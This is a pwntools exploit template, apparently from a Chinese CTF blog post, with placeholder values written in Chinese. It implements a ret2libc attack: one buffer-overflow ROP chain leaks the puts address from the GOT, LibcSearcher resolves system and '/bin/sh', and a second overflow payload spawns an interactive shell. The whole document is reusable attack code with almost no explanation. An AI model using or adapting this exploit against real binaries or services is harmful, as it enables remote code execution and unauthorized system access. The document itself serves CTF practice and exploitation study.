from pwn import *
from LibcSearcher import *
local_file = '文件'
local_libc = 'libc表'
remote_libc = 'libc表'
select = 1
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote(地址)
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
# ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'
pop_rdi=地址
ret=地址
#判断一 r.sendlineafter('文本',b'选择')
payload="溢出"+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.symbols['main'])
r.sendlineafter('文本',payload)
r.recvline()
r.recvline()
puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))#取低三位
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
#重新进到main中再次过判断 r.sendlineafter('文本',b'选择')
payload="溢出(这里如果输入判断用的strlen可以直接\0过掉)"+p64(ret)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
r.sendlineafter('文本',payload)
r.interactive()
评论